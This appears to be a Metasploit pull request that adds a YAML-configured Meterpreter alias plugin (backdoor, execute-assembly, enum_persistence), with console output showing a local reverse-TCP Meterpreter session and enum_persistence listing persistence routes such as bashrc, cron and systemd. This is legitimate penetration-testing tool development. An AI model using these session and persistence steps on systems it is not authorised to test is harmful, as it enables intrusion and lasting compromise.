Meterpreter Aliases Plugin

[dledda-r7]

YAML-based meterpreter alias plugin

requires: #21839

Meterpreter Alias System

• Added a versioned YAML configuration (data/meterpreter_aliases.yml) that defines new Meterpreter command aliases such as backdoor, execute-assembly, and enum_persistence, each mapping to specific modules with structured options and architecture-aware defaults.
• Created user documentation (documentation/general/meterpreter_aliases.md) detailing how to load, configure, and use the alias system, including schema, architecture selection, and bundled examples.

msf payload(linux/aarch64/meterpreter/reverse_tcp) > 
[*] Started reverse TCP handler on 172.16.90.128:4444 
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (1003868 bytes) to 172.16.90.128
[*] Meterpreter session 1 opened (172.16.90.128:4444 -> 172.16.90.128:60690) at 2026-08-28 17:51:29 +0200

msf payload(linux/aarch64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > bg
[*] Backgrounding session 1...
msf payload(linux/aarch64/meterpreter/reverse_tcp) > load meterpreter_aliases 
[*] Loaded 3 Meterpreter aliases from /home/kali/Documents/github/metasploit-framework/data/meterpreter_aliases.yml
[*] Successfully loaded plugin: meterpreter_aliases
msf payload(linux/aarch64/meterpreter/reverse_tcp) > sessions -i -1
[*] Starting interaction with 1...

meterpreter > en
enable_unicode_encoding  enum_persistence         
meterpreter > en
enable_unicode_encoding  enum_persistence         
meterpreter > enum_persistence 
[*] 172.16.90.128 - Collecting persistence modules for aarch64/linux...
[*] 172.16.90.128 - 52 exploit checks are being tried...
[+] 172.16.90.128 - exploit/linux/persistence/autostart: The service is running, but could not be validated. Xorg is installed, possible desktop install.
[+] 172.16.90.128 - exploit/linux/persistence/bash_profile: The service is running, but could not be validated. Bash profile exists and is writable: /home/kali/.bashrc
[+] 172.16.90.128 - exploit/linux/persistence/docker_image: The service is running, but could not be validated. docker app is installed and accessible
[+] 172.16.90.128 - exploit/linux/persistence/init_systemd: The target appears to be vulnerable. /tmp/ is writable and system is systemd based
[+] 172.16.90.128 - exploit/multi/persistence/cron: The target appears to be vulnerable. Cron timing is valid, no cron.deny entries found
[+] 172.16.90.128 - exploit/multi/persistence/python_site_specific_hook: The target is vulnerable. Python is present on the system
[*] Running check method for exploit 20 / 20
[*] 172.16.90.128 - Valid modules for session 1:
...